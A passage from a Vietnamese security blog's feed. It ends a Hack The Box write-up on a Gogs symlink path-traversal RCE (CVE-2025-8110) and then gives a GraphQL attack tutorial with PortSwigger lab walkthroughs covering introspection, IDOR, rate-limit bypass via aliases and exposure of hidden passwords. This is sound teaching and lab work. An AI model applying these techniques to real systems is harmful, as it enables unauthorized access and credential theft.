<p><strong>CVE-2025-8110</strong> là một lỗ hổng bảo mật nghiêm trọng (Remote Code Execution - RCE) trong <strong>Gogs</strong>, một dịch vụ quản lý mã nguồn Git tự lưu trữ. Lỗ hổng này cho phép kẻ tấn công đã xác thực thực thi mã từ xa thông qua việc xử lý sai các liên kết tượng trưng (symbolic links) trong API</p>

<p><strong>1. Thông tin</strong></p>

<ul>
  <li><strong>Tên lỗ hổng:</strong> Gogs Symlink Path Traversal dẫn đến Remote Code Execution (RCE).</li>
  <li><strong>Mã định danh:</strong> <strong>CVE-2025-8110</strong>.</li>
  <li><strong>Điểm CVSS:</strong> <strong>8.7 - 8.8 (High)</strong>.</li>
  <li><strong>Đối tượng bị ảnh hưởng:</strong> Tất cả các phiên bản Gogs <strong>≤ 0.13.3</strong>.</li>
  <li><strong>Trạng thái:</strong> Đã có bản vá trong phiên bản <strong>0.13.4</strong> (phát hành tháng 1/2026), nhưng nhiều hệ thống vẫn chưa cập nhật.</li>
</ul>

<p><strong>2. Cơ chế kỹ thuật</strong></p>

<p>Lỗ hổng này là một màn <strong>Bypass</strong> kinh điển của <a href="https://github.com/advisories/GHSA-mq8m-42gh-wq7r"><strong>CVE-2024-55947</strong></a>:</p>

<ul>
  <li><strong>Vấn đề cũ (CVE-2024-55947):</strong> Gogs cho phép ghi đè tệp ngoài thư mục repository bằng cách sử dụng ký tự <code class="language-plaintext highlighter-rouge">../</code> (Path Traversal). Nhà phát triển đã vá bằng cách chặn chuỗi <code class="language-plaintext highlighter-rouge">../</code>.</li>
  <li><strong>Lỗ hổng mới (CVE-2025-8110):</strong> Kẻ tấn công không dùng <code class="language-plaintext highlighter-rouge">../</code> nữa mà lợi dụng tính năng <strong>Symbolic Link (Symlink)</strong> của Git.
    <ul>
      <li><strong>Bước 1:</strong> Kẻ tấn công (đã xác thực, quyền thấp) tạo một Symlink trong repository trỏ đến một tệp nhạy cảm bên ngoài (ví dụ: <code class="language-plaintext highlighter-rouge">.git/config</code> hoặc các tệp cấu hình hệ thống).</li>
      <li><strong>Bước 2:</strong> Sử dụng API <code class="language-plaintext highlighter-rouge">PutContents</code> để cập nhật nội dung cho Symlink đó.</li>
      <li><strong>Bước 3:</strong> Hệ thống Gogs không kiểm tra xem đích đến của Symlink có nằm ngoài phạm vi an toàn hay không. Nó ghi đè tệp mục tiêu theo liên kết đó.</li>
      <li><strong>Kết quả:</strong> Kẻ tấn công có thể ghi đè cấu hình để thực thi lệnh hệ thống (RCE).</li>
    </ul>
  </li>
</ul>

<p><img src="/assets/images/silentium-machine-htb/image%2019.png" alt="image.png" /></p>

<p>Để giải được bài này thì tui có kiếm được PoC của CVE này https://github.com/zAbuQasem/gogs-CVE-2025-8110</p>

<p>Đọc File exploit và chỉnh lại tên user và password đồng thời command dòng register để ko phải đăng kí vì có đăng kí rồi</p>

<p><img src="/assets/images/silentium-machine-htb/image%2020.png" alt="image.png" /></p>

<p><img src="/assets/images/silentium-machine-htb/image%2021.png" alt="image.png" /></p>

<p>Vậy là mình đã dành được reverse shell rồi , với quyền truy cập root thì t có thể đọc được cờ và Machine này kết thúc tại đây . Tổng quan về Machine này thì là sự kết hợp của 2 CVE khá là hay nhưng mà CVE sau thì mình phải tham khảo các wu thì mới hoàn thành được . Cảm ơn các bạn đã dành thời gian đọc nhé . Hẹn các bạn ở các bài sau ^_^</p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="writeups" /><category term="machine HTB" /><summary type="html"><![CDATA[Silentium Machine - HTB]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://phucquan.github.io/assets/images/silentium-machine-htb/image.png" /><media:content medium="image" url="https://phucquan.github.io/assets/images/silentium-machine-htb/image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Phân tích lỗ hổng về GraphQL</title><link href="https://phucquan.github.io/penetration-testing/2026/04/16/graphql-attack/" rel="alternate" type="text/html" title="Phân tích lỗ hổng về GraphQL" /><published>2026-04-16T00:00:00+00:00</published><updated>2026-04-16T00:00:00+00:00</updated><id>https://phucquan.github.io/penetration-testing/2026/04/16/graphql-attack</id><content type="html" xml:base="https://phucquan.github.io/penetration-testing/2026/04/16/graphql-attack/"><![CDATA[<h2 id="i-lời-mở-đầu">I. Lời mở đầu</h2>

<p>Nếu bạn từng làm việc tới API trong một thời gian , thì gần như chắc chắn bạn đã tiếp xúc với REST API , thứ gần như là “default choice” của các backend system hiện nay bởi vì tính tiện lợi của nó.</p>

<p>Trước đó nữa , trong các hệ thống enterphise cũ hơn , bạn cũng có thể sẽ gặp SOAP - verbose , chặt chẽ nhưng khá nặng nề . Gần đây hơn , các hệ thống microservices lại gRPC hơn vì tính hiệu năng của nó và binary protocol.</p>

<p>Nhưng có 1 vấn đề chung là user ngày càng có nhu cầu và linh hoạt hơn trong việc lấy dữ liệu</p>

<p>Và đó là lúc GraphQL xuất hiện , ban đầu GraphQL được xem như là một “REST killer” nhưng thực tế thì nó ko thay thế hoàn toàn REST , mà nó mở ra 1 cách tiếp cận API hoàn toàn mới</p>

<blockquote>
  <p>Client chủ động lấy dữ liệu khi họ cần , thay vì server quyết định</p>

</blockquote>

<p>Điều này nghe có vể là tốt nhưng dưới góc nhìn của security , thì nó cũng mở ra 1 loạt vấn đề thú vị</p>

<h2 id="ii-graphql-là-gì">II. GraphQL là gì?</h2>

<p><img src="/assets/images/graphql/image.png" alt="image.png" /></p>

<p>GraphQL thực chất là 1 ngôn ngữ truy vấn API cho phép User kiểm soát chính sát dữ liệu được trả về từ server</p>

<p>Không giống như REST API , mỗi endpoint sẽ đại diện cho 1 resource cụ thể , GraphQL sử dụng 1 endpoint duy nhất để xử lí tất cả các request , Hành vi của request sẽ được xác định bởi nội dung của query thay vì URL hoặc HTTP method.</p>

<p>GraphQL cho phép client :</p>

<ul>
  <li>Chỉ định chính xác các field cần thiết</li>
  <li>Truy vấn nhiều resource trong 1 request duy nhất</li>
  <li>Nhận repspone có cấu trúc đúng với query đã gửi</li>
</ul>

<p>Điều này giúp làm giảm số lượng request tới máy chủ và tránh các vấn đề như over-fetching và under-fetching thường gặp trong REST.</p>

<h2 id="iii-graphql-hoạt-động-như-thế-nào-">III. GraphQL hoạt động như thế nào ?</h2>

<p>GraphQL hoạt động dựa trên một schema , đóng vai trò là hợp đồng giữa client và server</p>

<p>Một Schema sẽ định nghĩa :</p>

<ul>
  <li>Các object type ( kiểu dữ liệu)</li>
  <li>Các field có thể truy vấn</li>
  <li>Mối quan hệ giữa các Object</li>
  <li>Các operation có sẵn hay còn gọi là các thao tác có ẵn</li>
</ul>

<p>GraphQL hỗ trợ 3 loại operation chính :</p>

<p><strong>a. Queries</strong></p>

<p>Queries được sử dụng để lấy dữ liệu từ kho dữ liệu server , tương đương với GET trong REST</p>

<p>Các truy vấn thường có các thành phần chính sau:</p>

<ul>
  <li>Loại <code class="language-plaintext highlighter-rouge">query opetation</code>. Về mặt kỹ thuật, đây là tùy chọn nhưng được khuyến khích, vì nó cho máy chủ biết rõ ràng rằng yêu cầu đến là một truy vấn.</li>
  <li>Tên truy vấn. Bạn có thể đặt bất kỳ tên nào tùy ý. Tên truy vấn là tùy chọn, nhưng được khuyến khích vì nó có thể giúp ích cho việc debug sau này.</li>
  <li>Data structure :  Đây là dữ liệu mà truy vấn nên trả về.</li>
  <li>Optionally, có thể có một hoặc nhiều đối số. Chúng được sử dụng để tạo các truy vấn trả về thông tin chi tiết của một đối tượng cụ thể (ví dụ: “cho tôi tên và mô tả của sản phẩm có ID 123”).</li>
</ul>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">query</span> <span class="p">{</span>
  <span class="nx">getProduct</span><span class="p">(</span><span class="nx">id</span><span class="p">:</span> <span class="mi">123</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">name</span>
    <span class="nx">description</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Response sẽ có cấu trúc giống với query</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
  <span class="dl">"</span><span class="s2">data</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">getProduct</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
      <span class="dl">"</span><span class="s2">name</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Example</span><span class="dl">"</span><span class="p">,</span>
      <span class="dl">"</span><span class="s2">description</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Example description</span><span class="dl">"</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>b. Mutations</strong></p>

<p>Mutations được sử dụng để thay đổi kiểu dữ liệu theo 1 cách nào đó  ( thêm, cập nhật , xóa) chúng tương đương với POST , PUT , DELETE của API REST</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="err">#</span><span class="nx">Example</span> <span class="nx">mutation</span> <span class="nx">request</span>

    <span class="nx">mutation</span> <span class="p">{</span>
        <span class="nx">createProduct</span><span class="p">(</span><span class="nx">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Flamin' Cocktail Glasses</span><span class="dl">"</span><span class="p">,</span> <span class="nx">listed</span><span class="p">:</span> <span class="dl">"</span><span class="s2">yes</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">id</span>
            <span class="nx">name</span>
            <span class="nx">listed</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="err">#</span><span class="nx">Example</span> <span class="nx">mutation</span> <span class="nx">response</span>

    <span class="p">{</span>
        <span class="dl">"</span><span class="s2">data</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
            <span class="dl">"</span><span class="s2">createProduct</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
                <span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">123</span><span class="p">,</span>
                <span class="dl">"</span><span class="s2">name</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Flamin' Cocktail Glasses</span><span class="dl">"</span><span class="p">,</span>
                <span class="dl">"</span><span class="s2">listed</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">yes</span><span class="dl">"</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>Giống như các truy vấn, các thao tác thay đổi dữ liệu (mutations) cũng có operation type, name và structure cho dữ liệu trả về. Tuy nhiên, các thao tác thay đổi dữ liệu luôn nhận một đầu vào thuộc một kiểu dữ liệu nào đó. Đầu vào này có thể là một giá trị nội tuyến, nhưng trên thực tế thường được cung cấp dưới dạng một biến.</p>

<p>Mutations thường yêu cầu input và có thể gây side effects tới server . Cho các bạn ko biết side effect là gì thì Side effect (tác dụng phụ) tới server trong lập trình là <strong>các hành động tương tác làm thay đổi trạng thái, dữ liệu hoặc hệ thống bên ngoài phạm vi hàm đang chạy</strong>, phổ biến nhất là gửi yêu cầu (request) đến API máy chủ (Backend), ghi nhật ký (logging), hoặc lưu trữ/cập nhật dữ liệu. Đây là các thao tác bất đồng bộ (async) không thuần khiết, khác với việc chỉ nhận và trả về giá trị</p>

<p><strong>c. Subscriptions</strong></p>

<p>Subscriptions cho phép client cho phép thiết lập kết nối lâu dài tới server để nhận dữ liệu theo thời gian thực , thường thiệt lập qua WebSocket.</p>

<h2 id="components-of-queries-and-mutations"><strong>Components of queries and mutations</strong></h2>

<h3 id="fields"><strong>Fields</strong></h3>

<p>Tất cả các kiểu dữ liệu GraphQL đều chứa các mục dữ liệu có thể truy vấn được gọi là trường (fields). Khi bạn gửi một truy vấn hoặc thao tác sửa đổi (mutation), bạn chỉ định trường nào bạn muốn API trả về. Phản hồi sẽ phản ánh nội dung được chỉ định trong yêu cầu.</p>

<p>Ví dụ dưới đây minh họa một truy vấn để lấy thông tin ID và tên của tất cả nhân viên, cùng với kết quả trả về tương ứng. Trong trường hợp này, <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">name.firstname</code>, và <code class="language-plaintext highlighter-rouge">name.lastname</code>là các trường được yêu cầu.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    #Request

    query myGetEmployeeQuery {
        getEmployees {
            id
            name {
                firstname
                lastname
            }
        }
    }
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    #Response

    {
        "data": {
            "getEmployees": [
                {
                    "id": 1,
                    "name" {
                        "firstname": "Carlos",
                        "lastname": "Montoya"
                    }
                },
                {
                    "id": 2,
                    "name" {
                        "firstname": "Peter",
                        "lastname": "Wiener"
                    }
                }
            ]
        }
    }
</code></pre></div></div>

<p><strong>Arguments</strong></p>

<p>Các agruments là các đối số được chỉ định cho các trường cụ thể ,</p>

<p>Khi bạn gửi một truy vấn hoặc thao tác thay đổi dữ liệu có chứa các tham số, máy chủ GraphQL sẽ xác định cách phản hồi dựa trên cấu hình của nó. Ví dụ, nó có thể trả về một đối tượng cụ thể thay vì thông tin chi tiết của tất cả các đối tượng.</p>

<p>Ví dụ dưới đây minh họa một <code class="language-plaintext highlighter-rouge">getEmployee</code>yêu cầu nhận mã số nhân viên làm tham số. Trong trường hợp này, máy chủ chỉ phản hồi thông tin chi tiết của nhân viên có mã số đó.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    #Example query with arguments

    query myGetEmployeeQuery {
        getEmployees(id:1) {
            name {
                firstname
                lastname
            }
        }
    }
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    #Response to query

    {
        "data": {
            "getEmployees": [
            {
                "name" {
                    "firstname": Carlos,
                    "lastname": Montoya
                    }
                }
            ]
        }
    }
    
</code></pre></div></div>

<blockquote>

  <p>Nếu các đối số do người dùng cung cấp được sử dụng để truy cập trực tiếp vào các đối tượng, thì API GraphQL có thể dễ bị tổn thương bởi các lỗ hổng IDOR.</p>

</blockquote>

<p><strong>Variables</strong></p>

<p>Variables cho phép truyền tham số động vào query thay vì hardcode trực tiếp trong request.</p>

<p>Cấu trúc gồm 3 phần:</p>

<ul>
  <li>Khai báo biến và kiểu dữ liệu</li>
  <li>Sử dụng biến trong query</li>
  <li>Truyền giá trị qua JSON</li>
</ul>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>query getEmployee($id: ID!) {
  getEmployees(id: $id) {
    name {
      firstname
      lastname
    }
  }
}
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "id":1
}
</code></pre></div></div>

<p>Dấu <code class="language-plaintext highlighter-rouge">!</code> nghĩa là biến bắt buộc.</p>

<p>Sử dụng variables giúp tái sử dụng query và tách logic khỏi dữ liệu đầu vào.</p>

<p><strong>Aliases</strong></p>

<p>GraphQL không cho phép trùng field trong cùng một query. Aliases giải quyết vấn đề này bằng cách đặt tên khác cho từng kết quả.</p>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>query {
  product1: getProduct(id: "1") {
    id
    name
  }
  product2: getProduct(id: "2") {
    id
    name
  }
}
</code></pre></div></div>

<p>Aliases cho phép lấy nhiều object cùng loại trong một request.</p>

<p>Ngoài ra, chúng có thể bị lạm dụng để gửi nhiều request logic trong một HTTP request (ví dụ: bypass rate limit).</p>

<p><strong>Fragments</strong></p>

<p>Fragments là các block field có thể tái sử dụng trong nhiều query.</p>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fragment productInfo on Product {
  id
  name
  listed
}
</code></pre></div></div>

<p>Sử dụng:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>query {
  getProduct(id: 1) {
    ...productInfo
    stock
  }
}
</code></pre></div></div>

<p>Fragments giúp giảm lặp code và dễ maintain khi schema thay đổi.</p>

<h2 id="subscriptions">Subscriptions</h2>

<p>Như đã nhắc ở trên thì Subscriptions là một loại operation cho phép client duy trì kết nối lâu dài với server để nhận dữ liệu theo thời gian thực.</p>

<p>Thay vì client phải liên tục gửi request (polling), server sẽ chủ động push dữ liệu khi có thay đổi.</p>

<p>Subscriptions thường được dùng cho:</p>

<ul>
  <li>Chat</li>
  <li>Realtime notifications</li>
  <li>Collaborative applications</li>
</ul>

<p>Khác với queries và mutations, subscriptions thường được triển khai qua WebSocket thay vì HTTP.</p>

<p>Client vẫn định nghĩa cấu trúc dữ liệu cần nhận, tương tự như các operation khác.</p>

<hr />

<h2 id="introspection">Introspection</h2>

<p>Introspection là tính năng cho phép client truy vấn thông tin về schema của GraphQL.</p>

<p>Thông qua introspection, client có thể:</p>

<ul>
  <li>Liệt kê toàn bộ type</li>
  <li>Xem các field và arguments</li>
  <li>Xác định các query và mutation có sẵn</li>
</ul>

<p>Tính năng này thường được sử dụng bởi:</p>

<ul>
  <li>GraphQL IDEs</li>
  <li>Tools sinh tài liệu API</li>
</ul>

<p>Tuy nhiên, introspection cũng làm lộ toàn bộ cấu trúc API.</p>

<h2 id="iii--lỗ-hổng-graphql-api">III . Lỗ hổng GraphQL API</h2>

<p>Nãy giờ nói lí thuyết cũng khá nhiều chắc các bạn cũng đã nắm rõ sơ bộ về cấu trúc của GraphQL rồi thì trong phần này chúng ta sẽ đi tới phần tấn công GraphQL cũng như thực hành vài bài về nó nhé.</p>

<p><img src="/assets/images/graphql/image-1.png" alt="image.png" /></p>

<p>Hình ảnh minh họa ( <a href="https://portswigger.net/web-security/graphql#finding-graphql-endpoints">https://portswigger.net/web-security/graphql#finding-graphql-endpoints</a>)</p>

<h2 id="1-tìm-các-endpoint-của-graphql">1. Tìm các endpoint của GraphQL</h2>

<p>Trước khi có thể kiểm thử về tấn công GraphQL thì việc đầu tiên bạn cần làm là tìm các endpoint của nó. Bởi vì theo kiến trúc thì GraphQL chỉ sử dụng 1 endpoint cho các request gửi tới</p>

<p><strong>Universal queries</strong></p>

<p>Nếu bạn gửi yêu cầu <code class="language-plaintext highlighter-rouge">query{__typename}</code>đến bất kỳ điểm cuối GraphQL nào, chuỗi đó sẽ được bao gồm <code class="language-plaintext highlighter-rouge">{"data": {"__typename": "query"}}</code>ở đâu đó trong phản hồi của nó. Điều này được gọi là truy vấn phổ quát, và là một công cụ hữu ích để kiểm tra xem URL có tương ứng với dịch vụ GraphQL hay không.</p>

<p>Truy vấn hoạt động vì mỗi điểm cuối GraphQL đều có một trường dành riêng có tên là <code class="language-plaintext highlighter-rouge">type</code> <code class="language-plaintext highlighter-rouge">__typename</code>trả về kiểu dữ liệu của đối tượng được truy vấn dưới dạng chuỗi.</p>

<p><strong>Tìm các điểm cuối phổ biến</strong></p>

<p>Các dịch vụ GraphQL thường sử dụng các hậu tố điểm cuối tương tự. Khi kiểm thử các điểm cuối GraphQL, bạn nên gửi các truy vấn chung đến các vị trí sau:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/graphql</code></li>
  <li><code class="language-plaintext highlighter-rouge">/api</code></li>
  <li><code class="language-plaintext highlighter-rouge">/api/graphql</code></li>
  <li><code class="language-plaintext highlighter-rouge">/graphql/api</code></li>
  <li><code class="language-plaintext highlighter-rouge">/graphql/graphql</code></li>
</ul>

<p>Nếu các điểm cuối phổ biến này không trả về phản hồi GraphQL, bạn cũng có thể thử thêm <code class="language-plaintext highlighter-rouge">/v1</code>vào đường dẫn.</p>

<h2 id="request-methods">Request methods</h2>

<p>GraphQL endpoint trong production thường:</p>

<ul>
  <li>Chỉ chấp nhận <code class="language-plaintext highlighter-rouge">POST</code></li>
  <li>Content-Type: <code class="language-plaintext highlighter-rouge">application/json</code></li>
</ul>

<p>Điều này giúp giảm rủi ro như CSRF.</p>

<p>Tuy nhiên, một số hệ thống vẫn hỗ trợ:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">GET</code> requests</li>
  <li><code class="language-plaintext highlighter-rouge">POST</code> với <code class="language-plaintext highlighter-rouge">x-www-form-urlencoded</code></li>
</ul>

<p>Khi không tìm được endpoint bằng POST, nên thử lại với các method khác.</p>

<p>Sau khi xác định endpoint, bước tiếp theo là gửi các query cơ bản để hiểu cách API hoạt động.</p>

<p>Nếu endpoint được dùng bởi web app:</p>

<ul>
  <li>Dùng Burp Suite browser</li>
  <li>Quan sát HTTP history</li>
  <li>Phân tích các query thực tế được gửi</li>
</ul>

<p>Mục tiêu:</p>

<ul>
  <li>Xác định structure query</li>
  <li>Hiểu cách truyền arguments</li>
  <li>Xem response format</li>
</ul>

<h2 id="exploiting-unsanitized-arguments">Exploiting unsanitized arguments</h2>

<p>Arguments là điểm bắt đầu tốt để tìm bug.</p>

<p>Nếu API dùng arguments để truy cập trực tiếp object, có thể xảy ra:</p>

<p><strong>IDOR (Insecure Direct Object Reference)</strong></p>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>query {
  products {
    id
    name
    listed
  }
}
</code></pre></div></div>

<p>Response chỉ trả về sản phẩm <code class="language-plaintext highlighter-rouge">listed = true</code>.</p>

<p>Nếu ID là tuần tự, có thể suy ra:</p>

<ul>
  <li>ID bị thiếu có thể là dữ liệu bị ẩn</li>
</ul>

<p>Thử query trực tiếp:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>query {
  product(id: 3) {
    id
    name
    listed
  }
}
</code></pre></div></div>

<p>Nếu server trả dữ liệu thì xác nhận có vấn đề về access control</p>

<h2 id="discovering-schema-information">Discovering schema information</h2>

<p>Bước tiếp theo trong quá trình kiểm thử là thu thập thông tin về lượt đồ cơ bản , cần reconstruct schema.</p>

<p>Cách tốt nhất để làm điều này là sử dụng các truy vấn nội suy. Nội suy hay còn gọi là instropection là một chức năng tích hợp sẵn của GraphQL cho phép bạn truy vấn máy chủ để lấy thông tin về lược đồ.</p>

<p>Để sử dụng phương pháp nội quan nhằm khám phá thông tin lược đồ, hãy truy vấn <code class="language-plaintext highlighter-rouge">__schema</code>trường này. Trường này có sẵn trên kiểu gốc của tất cả các truy vấn.</p>

<p>Tương tự như các truy vấn thông thường, bạn có thể chỉ định các trường và cấu trúc của phản hồi mà bạn muốn nhận được khi chạy truy vấn nội suy. Ví dụ, bạn có thể muốn phản hồi chỉ chứa tên của các mutation khả dụng.</p>

<p>Ngoài ra Burp cũng có thể tạo các truy vấn nội suy cho bạn. Để biết thêm thông tin, hãy xem <a href="https://portswigger.net/burp/documentation/desktop/testing-workflow/working-with-graphql#accessing-graphql-api-schemas-using-introspection">Truy cập lược đồ API GraphQL bằng cách sử dụng nội suy</a> .</p>

<p><img src="/assets/images/graphql/image-2.png" alt="image.png" /></p>

<p>Query vào <code class="language-plaintext highlighter-rouge">__schema</code> để lấy thông tin:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "query":"{__schema{queryType{name}}}"
}
</code></pre></div></div>

<p>Nếu thành công:</p>

<ul>
  <li>Introspection đang bật</li>
  <li>Có thể enumerate toàn bộ API</li>
</ul>

<h2 id="full-introspection">Full introspection</h2>

<p>Chạy full introspection query để lấy:</p>

<ul>
  <li>Queries</li>
  <li>Mutations</li>
  <li>Types</li>
  <li>Fields</li>
  <li>Relationships</li>
</ul>

<h2 id="visualizing-schema">Visualizing schema</h2>

<p>Kết quả introspection thường khó phân tích trực tiếp.</p>

<p>Có thể dùng GraphQL visualizer để:</p>

<ul>
  <li>Map relationships</li>
  <li>Hiểu flow data nhanh hơn</li>
  <li>Bạn có thể tham khảo link ở đây <a href="https://nathanrandal.com/graphql-visualizer/">https://nathanrandal.com/graphql-visualizer/</a></li>
</ul>

<p>Dù best practice là disable introspection, nhưng thực tế nhiều hệ thống vẫn bật.</p>

<p>Luôn thử introspection query đơn giản trước</p>

<p>Nếu thành công:</p>

<p>→ attack surface tăng đáng kể</p>

<h2 id="suggestions-khi-introspection-bị-tắt">Suggestions (khi introspection bị tắt)</h2>

<p>Ngay cả khi introspection bị disable, vẫn có thể leak thông tin qua error message.</p>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Did you mean 'productInformation'?
</code></pre></div></div>

<p>Server vô tình tiết lộ tên field hợp lệ</p>

<p>Một số tool có thể tận dụng cơ chế này để rebuild schema.</p>

<h2 id="summary-pentest-mindset">Summary (pentest mindset)</h2>

<ul>
  <li>Test nhiều HTTP methods → tìm endpoint</li>
  <li>Quan sát traffic thật → hiểu cách app dùng GraphQL</li>
  <li>Fuzz arguments → tìm IDOR</li>
  <li>Introspection → map toàn bộ schema</li>
  <li>Suggestions → fallback khi introspection bị tắt</li>
</ul>

<p>Để các bạn có thể hình dung rõ hơn thì bài này mình sẽ làm rõ hơn về các cách tấn công thông qua các bài lab trên PortSwigger</p>

<p>Thì bài đầu tiên thì yêu cầu chúng ta phải tìm ra 1 secret password để có thể solve the lab.</p>

<p><img src="/assets/images/graphql/image-3.png" alt="image.png" /></p>

<h2 id="lab-accessing-private-graphql-posts--walkthrough">Lab: Accessing private GraphQL posts – Walkthrough</h2>

<p>Khi vào lab, việc đầu tiên mình làm là mở trang blog bằng browser tích hợp trong Burp Suite để quan sát cách dữ liệu được load.</p>

<p>Ngay lập tức có thể thấy các bài viết không được render sẵn từ server-side, mà được fetch thông qua một request API. Mở sang tab <strong>HTTP history</strong>, mình thấy có request gửi tới endpoint <code class="language-plaintext highlighter-rouge">/graphql/v1</code>. Đây là dấu hiệu rõ ràng ứng dụng đang sử dụng GraphQL.</p>

<p>Khi xem response của request này, có một chi tiết khá đáng chú ý: mỗi bài blog đều có một <code class="language-plaintext highlighter-rouge">id</code> và các id này tăng tuần tự. Tuy nhiên danh sách trả về lại bị thiếu <code class="language-plaintext highlighter-rouge">id = 3</code>. Điều này thường không phải ngẫu nhiên — nhiều khả năng đây là một bài viết bị ẩn.</p>

<p><img src="/assets/images/graphql/image-4.png" alt="image.png" /></p>

<h3 id="recon--hiểu-schema">Recon – hiểu schema</h3>

<p>Để hiểu API rõ hơn, mình gửi request này sang Repeater.</p>

<p>Tại đây, Burp hỗ trợ rất tiện: chỉ cần click chuột phải → <strong>GraphQL → Set introspection query</strong>, nó sẽ tự generate một introspection query hoàn chỉnh. Sau khi gửi request, response trả về toàn bộ schema của API.</p>

<p>Khi đọc qua schema, mình phát hiện trong type <code class="language-plaintext highlighter-rouge">BlogPost</code> có một field khá thú vị là <code class="language-plaintext highlighter-rouge">postPassword</code>. Field này không xuất hiện trong response ban đầu, nghĩa là client bình thường không request tới — nhưng backend vẫn expose.</p>

<p>Bạn có thể ném vào trang này để có thể hiểu rõ hơn về response</p>

<p><img src="/assets/images/graphql/image-5.png" alt="image.png" /></p>

<p>Đây gần như là “mùi bug” rõ ràng bởi vì có khả năng dữ liệu nhạy cảm tồn tại nhưng không được kiểm soát đúng cách.</p>

<p><img src="/assets/images/graphql/image-6.png" alt="image.png" /></p>

<p>###</p>

<p>Quay lại request ban đầu trong HTTP history và gửi lại vào Repeater, lần này mình không dùng introspection nữa mà chỉnh trực tiếp query.</p>

<p>Trong phần variables, mình đổi <code class="language-plaintext highlighter-rouge">id</code> thành <code class="language-plaintext highlighter-rouge">3</code> — chính là ID bị thiếu trước đó.</p>

<p>Sau đó, trong query, mình thêm field <code class="language-plaintext highlighter-rouge">postPassword</code> vào cùng với các field khác.</p>

<p>Khi gửi request, server trả về đầy đủ thông tin của bài viết <code class="language-plaintext highlighter-rouge">id = 3</code>, bao gồm cả <code class="language-plaintext highlighter-rouge">postPassword</code>.</p>

<p>Điều này xác nhận:</p>

<ul>
  <li>Không có kiểm soát truy cập theo ID</li>
  <li>Backend cho phép truy vấn dữ liệu ẩn nếu biết ID</li>
</ul>

<p>Đây chính là một dạng <strong>IDOR trong GraphQL</strong>.</p>

<p>###</p>

<p><img src="/assets/images/graphql/image-7.png" alt="image.png" /></p>

<p>Lúc này chỉ cần copy giá trị của <code class="language-plaintext highlighter-rouge">postPassword</code> từ response và submit vào lab là xong.</p>

<p><img src="/assets/images/graphql/image-8.png" alt="image.png" /></p>

<h2 id="lab-accidental-exposure-of-private-graphql-fields--walkthrough">Lab: Accidental exposure of private GraphQL fields – Walkthrough</h2>

<p>Khi vào lab, mình mở trang <strong>My account</strong> và thử đăng nhập như bình thường. Mục đích không phải để login thành công, mà để xem phía client đang gửi request gì.</p>

<p>Chuyển sang tab HTTP history trong Burp Suite, mình thấy request login không phải dạng REST quen thuộc mà là một <strong>GraphQL mutation</strong>. Payload chứa <code class="language-plaintext highlighter-rouge">username</code> và <code class="language-plaintext highlighter-rouge">password</code>, nghĩa là toàn bộ logic auth đang đi qua GraphQL.</p>

<p>Đểm quan trọng t có thấy thấy là nếu login dùng GraphQL, khả năng cao user data cũng có thể bị truy vấn qua các query khác.</p>

<p><img src="/assets/images/graphql/image-9.png" alt="image.png" /></p>

<h3 id="recon--enumerate-schema">Recon – enumerate schema</h3>

<p>Mình gửi request login này sang Repeater, sau đó dùng tính năng <strong>Set introspection query</strong> để dump schema.</p>

<p>Sau khi gửi request, Burp cho phép lưu toàn bộ query vào site map. Khi xem lại, có một query khá đáng chú ý: <code class="language-plaintext highlighter-rouge">getUser</code>.</p>

<p>Query này cho phép lấy thông tin user dựa trên <code class="language-plaintext highlighter-rouge">id</code>, và quan trọng hơn là nó trả về cả <strong>username và password</strong>.</p>

<p><img src="/assets/images/graphql/image-10.png" alt="image.png" /></p>

